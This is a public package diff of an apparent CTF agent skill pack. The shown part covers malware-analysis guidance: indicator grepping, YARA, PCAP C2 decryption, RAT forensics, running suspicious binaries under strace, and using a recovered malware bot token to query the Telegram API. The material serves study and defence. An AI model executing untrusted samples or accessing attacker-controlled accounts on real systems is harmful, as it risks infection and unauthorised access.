ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,181 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: ctf-malware
|
|
3
|
+
description: Provides reverse engineering and behavioral analysis of educational malware artifacts and network traces for CTF challenges. Use when analyzing obfuscated scripts, suspicious packages, simulated command protocols, PE/.NET binaries, encrypted communications, YARA rule authoring, payload inspection, memory forensics (Volatility malfind, process injection detection), anti-analysis techniques (VM detection, timing checks, API hashing), or extracting benchmark indicators of compromise in isolated labs.
|
|
4
|
+
license: MIT
|
|
5
|
+
compatibility: Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
|
|
6
|
+
allowed-tools: Bash Read Write Edit Glob Grep Task WebFetch WebSearch
|
|
7
|
+
metadata:
|
|
8
|
+
user-invocable: "false"
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
# CTF Malware & Network Analysis
|
|
12
|
+
|
|
13
|
+
Quick reference for malware analysis CTF challenges. Each technique has a one-liner here; see supporting files for full details with code.
|
|
14
|
+
|
|
15
|
+
## Prerequisites & Tooling
|
|
16
|
+
|
|
17
|
+
Pre-installed via [scripts/install_ctf_tools.sh](../../scripts/install_ctf_tools.sh):
|
|
18
|
+
- **Python packages**: `yara-python`, `pefile`, `capstone`, `oletools`, `unicorn`, `pycryptodome`, `volatility3`, `dissect.cobaltstrike` (in `~/.ctf-tools/venv`)
|
|
19
|
+
- **System binaries**: `strace`, `ltrace`, `tshark`, `binwalk`, `binutils`
|
|
20
|
+
- **Manual tools**: `dnSpy` (.NET decompiler on Windows)
|
|
21
|
+
|
|
22
|
+
## Execution Environment & Tool Invocation
|
|
23
|
+
|
|
24
|
+
- **On Windows (WSL Kali Linux)**:
|
|
25
|
+
- Run malware analysis, YARA scanning, and emulation inside WSL:
|
|
26
|
+
```bash
|
|
27
|
+
wsl -d kali-linux bash -c "source ~/.ctf-tools/venv/bin/activate && python3 -c 'import yara; rules = yara.compile(\"rule.yar\"); print(rules.match(\"sample.bin\"))'"
|
|
28
|
+
wsl -d kali-linux bash -c "source ~/.ctf-tools/venv/bin/activate && olevba sample.doc"
|
|
29
|
+
wsl -d kali-linux bash -c "strace -f -s 1000 ./suspicious_elf"
|
|
30
|
+
```
|
|
31
|
+
- **On Native Linux / WSL**:
|
|
32
|
+
- Activate the CTF virtualenv:
|
|
33
|
+
```bash
|
|
34
|
+
source ~/.ctf-tools/venv/bin/activate
|
|
35
|
+
```
|
|
36
|
+
- Use `yara`, `olevba`, `pefile`, `unicorn`, and `dissect.cobaltstrike` directly.
|
|
37
|
+
|
|
38
|
+
## Additional Resources
|
|
39
|
+
|
|
40
|
+
- [scripts-and-obfuscation.md](scripts-and-obfuscation.md) - JavaScript deobfuscation, PowerShell analysis, eval/base64 decoding, junk code detection, hex payloads, Debian package analysis, dynamic analysis techniques (strace/ltrace, network monitoring, memory string extraction, automated sandbox execution), YARA rules for malware detection, shellcode analysis (Unicorn Engine, Capstone), memory forensics for malware (Volatility 3 malfind, process injection detection), anti-analysis techniques (VM detection, timing evasion, API hashing, process injection), trojanized plugin analysis with custom alphabet C2 decoding
|
|
41
|
+
- [c2-and-protocols.md](c2-and-protocols.md) - C2 traffic patterns, custom crypto protocols, RC4 WebSocket, DNS-based C2, network indicators, PCAP analysis, AES-CBC, encryption ID, Telegram bot recovery, Poison Ivy RAT Camellia decryption
|
|
42
|
+
- [pe-and-dotnet.md](pe-and-dotnet.md) - PE analysis (peframe, pe-sieve, pestudio), .NET analysis (dnSpy, AsmResolver), LimeRAT extraction, sandbox evasion, malware config extraction, PyInstaller+PyArmor
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## When to Pivot
|
|
47
|
+
|
|
48
|
+
- If the sample is really just a normal crackme, packed challenge binary, or custom VM with no malware behavior, switch to `/ctf-reverse`.
|
|
49
|
+
- If the main job is network reconstruction, disk carving, or host artifact recovery, switch to `/ctf-forensics`.
|
|
50
|
+
- If the challenge turns into public attribution or infrastructure tracing, switch to `/ctf-osint`.
|
|
51
|
+
|
|
52
|
+
## Quick Start Commands
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
# Static analysis
|
|
56
|
+
file suspicious_file
|
|
57
|
+
strings -n 8 suspicious_file | head -50
|
|
58
|
+
xxd suspicious_file | head -20
|
|
59
|
+
|
|
60
|
+
# PE analysis
|
|
61
|
+
python3 -c "import pefile; pe=pefile.PE('mal.exe'); print(pe.dump_info())" | head
|
|
62
|
+
peframe mal.exe
|
|
63
|
+
|
|
64
|
+
# Dynamic analysis (sandboxed!)
|
|
65
|
+
strace -f -s 200 ./suspicious 2>&1 | head -100
|
|
66
|
+
ltrace ./suspicious 2>&1 | head -50
|
|
67
|
+
|
|
68
|
+
# Network indicators
|
|
69
|
+
strings suspicious_file | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
|
|
70
|
+
strings suspicious_file | grep -iE 'http|ftp|ws://'
|
|
71
|
+
|
|
72
|
+
# YARA scan
|
|
73
|
+
yara -r rules.yar suspicious_file
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
## Obfuscated Scripts
|
|
77
|
+
|
|
78
|
+
- Replace `eval`/`bash` with `echo` to print underlying code; extract base64/hex blobs and analyze with `file`. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md).
|
|
79
|
+
|
|
80
|
+
## JavaScript & PowerShell Deobfuscation
|
|
81
|
+
|
|
82
|
+
- JS: Replace `eval` with `console.log`, decode `unescape()`, `atob()`, `String.fromCharCode()`.
|
|
83
|
+
- PowerShell: Decode `-enc` base64, replace `IEX` with output. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md).
|
|
84
|
+
|
|
85
|
+
## Junk Code Detection
|
|
86
|
+
|
|
87
|
+
- NOP sleds, push/pop pairs, dead writes, unconditional jumps to next instruction. Filter to extract real `call` targets. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md).
|
|
88
|
+
|
|
89
|
+
## PCAP & Network Analysis
|
|
90
|
+
|
|
91
|
+
```bash
|
|
92
|
+
tshark -r file.pcap -Y "tcp.stream eq X" -T fields -e tcp.payload
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
Look for C2 on unusual ports. Extract IPs/domains with `strings | grep`. See [c2-and-protocols.md](c2-and-protocols.md).
|
|
96
|
+
|
|
97
|
+
## Custom Crypto Protocols
|
|
98
|
+
|
|
99
|
+
- Stream ciphers share keystream state for both directions; concatenate ALL payloads chronologically.
|
|
100
|
+
- ChaCha20 keystream extraction: send nullbytes (0 XOR anything = anything). See [c2-and-protocols.md](c2-and-protocols.md).
|
|
101
|
+
|
|
102
|
+
## C2 Traffic Patterns
|
|
103
|
+
|
|
104
|
+
- Beaconing, DGA, DNS tunneling, HTTP(S) with custom headers, encoded payloads. See [c2-and-protocols.md](c2-and-protocols.md).
|
|
105
|
+
|
|
106
|
+
## RC4-Encrypted WebSocket C2
|
|
107
|
+
|
|
108
|
+
- Remap port with `tcprewrite`, add RSA key for TLS decryption, find RC4 key in binary. See [c2-and-protocols.md](c2-and-protocols.md).
|
|
109
|
+
|
|
110
|
+
## Identifying Encryption Algorithms
|
|
111
|
+
|
|
112
|
+
- AES: `0x637c777b` S-box; ChaCha20: `expand 32-byte k`; TEA/XTEA: `0x9E3779B9`; RC4: sequential S-box init. See [c2-and-protocols.md](c2-and-protocols.md).
|
|
113
|
+
|
|
114
|
+
## AES-CBC in Malware
|
|
115
|
+
|
|
116
|
+
- Key = MD5/SHA256 of hardcoded string; IV = first 16 bytes of ciphertext. See [c2-and-protocols.md](c2-and-protocols.md).
|
|
117
|
+
|
|
118
|
+
## PE Analysis
|
|
119
|
+
|
|
120
|
+
```bash
|
|
121
|
+
peframe malware.exe # Quick triage
|
|
122
|
+
pe-sieve # Runtime analysis
|
|
123
|
+
pestudio # Static analysis (Windows)
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
See [pe-and-dotnet.md](pe-and-dotnet.md).
|
|
127
|
+
|
|
128
|
+
## .NET Malware Analysis
|
|
129
|
+
|
|
130
|
+
- Use dnSpy/ILSpy for decompilation; AsmResolver for programmatic analysis. LimeRAT C2: AES-256-ECB with MD5-derived key. See [pe-and-dotnet.md](pe-and-dotnet.md).
|
|
131
|
+
|
|
132
|
+
## Malware Configuration Extraction
|
|
133
|
+
|
|
134
|
+
- Check .data section, PE/.NET resources, registry keys, encrypted config files. See [pe-and-dotnet.md](pe-and-dotnet.md).
|
|
135
|
+
|
|
136
|
+
## Sandbox Evasion Checks
|
|
137
|
+
|
|
138
|
+
- VM detection, debugger detection, timing checks, environment checks, analysis tool detection. See [pe-and-dotnet.md](pe-and-dotnet.md).
|
|
139
|
+
|
|
140
|
+
## Anti-Analysis Techniques
|
|
141
|
+
|
|
142
|
+
VM detection (CPUID, MAC prefix, registry, disk size), timing evasion (sleep/RDTSC sandbox detection), API hashing (ROR13/DJB2/CRC32 + hashdb lookup), process injection (hollowing, APC, CreateRemoteThread), environment checks. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md#anti-analysis-techniques).
|
|
143
|
+
|
|
144
|
+
## Trojanized Plugin Analysis
|
|
145
|
+
|
|
146
|
+
Diff malicious plugin against official release to find injected code in try/except blocks. Custom alphabet rotation (`C[(C.index(ch) - offset) % len(C)]`) decodes C2 domain, XOR decodes endpoint path. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md#trojanized-plugin-analysis-with-custom-alphabet-c2-decoding-inshack-2018).
|
|
147
|
+
|
|
148
|
+
## PyInstaller + PyArmor Unpacking
|
|
149
|
+
|
|
150
|
+
- `pyinstxtractor.py` to extract, PyArmor-Unpacker for protected code. See [pe-and-dotnet.md](pe-and-dotnet.md).
|
|
151
|
+
|
|
152
|
+
## Telegram Bot Evidence Recovery
|
|
153
|
+
|
|
154
|
+
- Use bot token from malware source to call `getUpdates` and `getFile` APIs. See [c2-and-protocols.md](c2-and-protocols.md).
|
|
155
|
+
|
|
156
|
+
## Debian Package Analysis
|
|
157
|
+
|
|
158
|
+
```bash
|
|
159
|
+
ar -x package.deb && tar -xf control.tar.xz # Check postinst scripts
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
See [scripts-and-obfuscation.md](scripts-and-obfuscation.md).
|
|
163
|
+
|
|
164
|
+
## YARA Rules for Malware Detection
|
|
165
|
+
|
|
166
|
+
Write YARA rules to match byte patterns, strings, and regex against files or memory dumps. Detect XOR loops (`{31 ?? 80 ?? ?? 4? 75}`), base64 blobs, encoded PowerShell. Use `yarac` to compile for faster scanning. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md#yara-rules-for-malware-detection).
|
|
167
|
+
|
|
168
|
+
## Shellcode Analysis
|
|
169
|
+
|
|
170
|
+
Disassemble with `objdump -b binary -m i386:x86-64`, emulate with Unicorn Engine (hook syscalls safely), or use Capstone for programmatic disassembly. Look for XOR decoder stubs. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md#shellcode-analysis).
|
|
171
|
+
|
|
172
|
+
## Memory Forensics for Malware
|
|
173
|
+
|
|
174
|
+
`vol3 windows.malfind` detects injected code (PAGE_EXECUTE_READWRITE without mapped file). `windows.pstree` reveals suspicious parent-child relationships. YARA scan memory with `yarascan.YaraScan`. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md#memory-forensics-for-malware).
|
|
175
|
+
|
|
176
|
+
## Network Indicators Quick Reference
|
|
177
|
+
|
|
178
|
+
```bash
|
|
179
|
+
strings malware | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
|
|
180
|
+
tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort -u
|
|
181
|
+
```
|
|
@@ -0,0 +1,274 @@
|
|
|
1
|
+
# C2 Traffic and Protocol Analysis
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [PCAP Analysis](#pcap-analysis)
|
|
5
|
+
- [Custom Crypto Protocols](#custom-crypto-protocols)
|
|
6
|
+
- [C2 Traffic Patterns](#c2-traffic-patterns)
|
|
7
|
+
- [Network Indicators](#network-indicators)
|
|
8
|
+
- [RC4-Encrypted WebSocket C2 Traffic](#rc4-encrypted-websocket-c2-traffic)
|
|
9
|
+
- [Password Rotation in C2](#password-rotation-in-c2)
|
|
10
|
+
- [AES-CBC in Malware](#aes-cbc-in-malware)
|
|
11
|
+
- [Identifying Encryption Algorithms](#identifying-encryption-algorithms)
|
|
12
|
+
- [Telegram Bot API for Evidence Recovery](#telegram-bot-api-for-evidence-recovery)
|
|
13
|
+
- [Poison Ivy RAT Traffic Decryption (Trend Micro CTF 2015)](#poison-ivy-rat-traffic-decryption-trend-micro-ctf-2015)
|
|
14
|
+
- [DarkComet RAT Forensics (CrewCTF 2023)](#darkcomet-rat-forensics-crewctf-2023)
|
|
15
|
+
- [Cobalt Strike Beacon Analysis in PCAP (FireShell CTF 2020)](#cobalt-strike-beacon-analysis-in-pcap-fireshell-ctf-2020)
|
|
16
|
+
- [ARP Spoof + TCP RST Injection to Capture IRC C2 Creds (TAMUctf 2019)](#arp-spoof--tcp-rst-injection-to-capture-irc-c2-creds-tamuctf-2019)
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## PCAP Analysis
|
|
21
|
+
|
|
22
|
+
```bash
|
|
23
|
+
tshark -r file.pcap -Y "tcp.stream eq X" -T fields -e tcp.payload
|
|
24
|
+
```
|
|
25
|
+
Look for C2 communication patterns on unusual ports (e.g., port 21 not for FTP).
|
|
26
|
+
|
|
27
|
+
## Custom Crypto Protocols
|
|
28
|
+
|
|
29
|
+
- Stream ciphers may share keystream state for both directions
|
|
30
|
+
- Concatenate ALL payloads chronologically before decryption
|
|
31
|
+
- Look for hardcoded keys in `.rodata`
|
|
32
|
+
- **ChaCha20 keystream extraction:** Send large nullbytes payload (0 XOR anything = anything)
|
|
33
|
+
- Alternative: Pipe ciphertext from pcap directly into the binary
|
|
34
|
+
|
|
35
|
+
## C2 Traffic Patterns
|
|
36
|
+
|
|
37
|
+
- Beaconing: regular intervals
|
|
38
|
+
- Domain generation algorithms (DGA)
|
|
39
|
+
- Encoded/encrypted payloads
|
|
40
|
+
- HTTP(S) with custom headers
|
|
41
|
+
- DNS tunneling
|
|
42
|
+
|
|
43
|
+
## Network Indicators
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
# Extract IPs/domains
|
|
47
|
+
strings malware | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
|
|
48
|
+
strings malware | grep -E '[a-zA-Z0-9.-]+\.(com|net|org|io)'
|
|
49
|
+
|
|
50
|
+
# DNS queries
|
|
51
|
+
tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort -u
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
## RC4-Encrypted WebSocket C2 Traffic
|
|
55
|
+
|
|
56
|
+
**Pattern (Tampered Seal):** Malware uses WSS over non-standard port with RC4 encryption.
|
|
57
|
+
|
|
58
|
+
**Decryption workflow:**
|
|
59
|
+
1. Identify C2 port from malware source (not standard 443)
|
|
60
|
+
2. Remap port with `tcprewrite` so Wireshark decodes TLS
|
|
61
|
+
3. Add RSA key for TLS decryption -> reveals WebSocket frames
|
|
62
|
+
4. Find RC4 key hardcoded in malware binary
|
|
63
|
+
5. Decrypt each WebSocket payload with RC4 via CyberChef
|
|
64
|
+
|
|
65
|
+
**Malware communication patterns:**
|
|
66
|
+
- Registration message: hostname, OS, username, privileges
|
|
67
|
+
- Exfiltration: screenshots, keylog data, file contents
|
|
68
|
+
- Commands: reverse shell, file download, process list
|
|
69
|
+
|
|
70
|
+
## Password Rotation in C2
|
|
71
|
+
|
|
72
|
+
**Pattern:** C2 uses rotating passwords based on time/sequence
|
|
73
|
+
|
|
74
|
+
**Analysis:**
|
|
75
|
+
1. Find password generation function
|
|
76
|
+
2. Identify rotation trigger (time-based, message count)
|
|
77
|
+
3. Sync your decryptor with the rotation
|
|
78
|
+
|
|
79
|
+
```python
|
|
80
|
+
def get_current_password(timestamp):
|
|
81
|
+
# Password changes every hour
|
|
82
|
+
hour_bucket = timestamp // 3600
|
|
83
|
+
return hashlib.sha256(f"seed_{hour_bucket}".encode()).digest()
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
## AES-CBC in Malware
|
|
87
|
+
|
|
88
|
+
**Common key derivation:**
|
|
89
|
+
- MD5/SHA256 of hardcoded string
|
|
90
|
+
- Derived from timestamp or PID
|
|
91
|
+
- Password-based (PBKDF2)
|
|
92
|
+
|
|
93
|
+
**Analysis approach:**
|
|
94
|
+
```python
|
|
95
|
+
from Crypto.Cipher import AES
|
|
96
|
+
from Crypto.Util.Padding import unpad
|
|
97
|
+
import hashlib
|
|
98
|
+
|
|
99
|
+
# Common pattern: key = MD5(password)
|
|
100
|
+
password = b"hardcoded_password"
|
|
101
|
+
key = hashlib.md5(password).digest()
|
|
102
|
+
|
|
103
|
+
# IV often first 16 bytes of ciphertext
|
|
104
|
+
iv = ciphertext[:16]
|
|
105
|
+
ct = ciphertext[16:]
|
|
106
|
+
|
|
107
|
+
cipher = AES.new(key, AES.MODE_CBC, iv)
|
|
108
|
+
plaintext = unpad(cipher.decrypt(ct), 16)
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
## Identifying Encryption Algorithms
|
|
112
|
+
|
|
113
|
+
**By constants:**
|
|
114
|
+
- AES: `0x637c777b`, `0x63636363` (S-box)
|
|
115
|
+
- ChaCha20: `expand 32-byte k` or `0x61707865`
|
|
116
|
+
- RC4: Sequential S-box initialization
|
|
117
|
+
- TEA/XTEA: `0x9E3779B9` (golden ratio)
|
|
118
|
+
|
|
119
|
+
**By structure:**
|
|
120
|
+
- Block cipher: Fixed-size blocks, padding
|
|
121
|
+
- Stream cipher: Byte-by-byte, no padding
|
|
122
|
+
- Hash: Mixing functions, rounds, constants
|
|
123
|
+
|
|
124
|
+
## Telegram Bot API for Evidence Recovery
|
|
125
|
+
|
|
126
|
+
**Pattern (Stomaker):** Malware uses Telegram bot to exfiltrate stolen data.
|
|
127
|
+
|
|
128
|
+
**Recover exfiltrated data via bot token:**
|
|
129
|
+
```python
|
|
130
|
+
# If you have the bot API token from malware source:
|
|
131
|
+
import requests
|
|
132
|
+
|
|
133
|
+
TOKEN = "bot_token_here"
|
|
134
|
+
# Get updates (message history)
|
|
135
|
+
r = requests.get(f"https://api.telegram.org/bot{TOKEN}/getUpdates")
|
|
136
|
+
# Download files sent to bot
|
|
137
|
+
file_id = "..."
|
|
138
|
+
r = requests.get(f"https://api.telegram.org/bot{TOKEN}/getFile?file_id={file_id}")
|
|
139
|
+
file_path = r.json()['result']['file_path']
|
|
140
|
+
requests.get(f"https://api.telegram.org/file/bot{TOKEN}/{file_path}")
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
## Poison Ivy RAT Traffic Decryption (Trend Micro CTF 2015)
|
|
146
|
+
|
|
147
|
+
**Pattern:** PCAP contains Poison Ivy RAT (Remote Access Trojan) traffic. Poison Ivy uses Camellia cipher with the key derived from an attacker-supplied password (null-padded to key length). The default password is "admin".
|
|
148
|
+
|
|
149
|
+
```bash
|
|
150
|
+
# Decrypt using MITRE's ChopShop framework + FireEye Poison Ivy module
|
|
151
|
+
chopshop -f capture.pcap -s ./output/ "poisonivy_23x -c -w admin"
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
**Identification:**
|
|
155
|
+
- Traffic to non-standard ports (often 3460, 65535)
|
|
156
|
+
- Initial handshake with 256-byte key exchange
|
|
157
|
+
- Encrypted data blocks with 8-byte aligned lengths
|
|
158
|
+
|
|
159
|
+
**Alternative decryption (Python):**
|
|
160
|
+
```python
|
|
161
|
+
from Crypto.Cipher import Camellia
|
|
162
|
+
|
|
163
|
+
password = b"admin"
|
|
164
|
+
key = password.ljust(32, b'\x00')[:32] # null-pad to 256 bits
|
|
165
|
+
cipher = Camellia.new(key, Camellia.MODE_ECB)
|
|
166
|
+
plaintext = cipher.decrypt(encrypted_data)
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
**Key insight:** Poison Ivy's encryption key is derived solely from the attacker password with null-byte padding — no key derivation function. The default password "admin" is commonly left unchanged. ChopShop with `poisonivy_23x` module automates full session reconstruction (screenshots, file listings, keystrokes). Also try common passwords: "password", "p0ison", or challenge-provided hints.
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## DarkComet RAT Forensics (CrewCTF 2023)
|
|
174
|
+
|
|
175
|
+
Identify and analyze DarkComet RAT artifacts in memory dumps and disk images.
|
|
176
|
+
|
|
177
|
+
```bash
|
|
178
|
+
# DarkComet keylogger log locations:
|
|
179
|
+
# %APPDATA%/dclogs/YYYY-MM-DD-N.dc
|
|
180
|
+
# Format: plaintext with window titles and keystrokes
|
|
181
|
+
|
|
182
|
+
# Volatility: find DarkComet artifacts
|
|
183
|
+
volatility3 -f memory.dmp windows.filescan | grep -i dclogs
|
|
184
|
+
volatility3 -f memory.dmp windows.filescan | grep -i "\.dc$"
|
|
185
|
+
|
|
186
|
+
# Dump the keylogger files
|
|
187
|
+
volatility3 -f memory.dmp windows.dumpfiles --dump-dir=output -Q <physical_address>
|
|
188
|
+
|
|
189
|
+
# DarkComet persistence:
|
|
190
|
+
# Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
|
|
191
|
+
# Points to: rundll32.exe wrapper or direct executable
|
|
192
|
+
# Check with:
|
|
193
|
+
volatility3 -f memory.dmp windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"
|
|
194
|
+
|
|
195
|
+
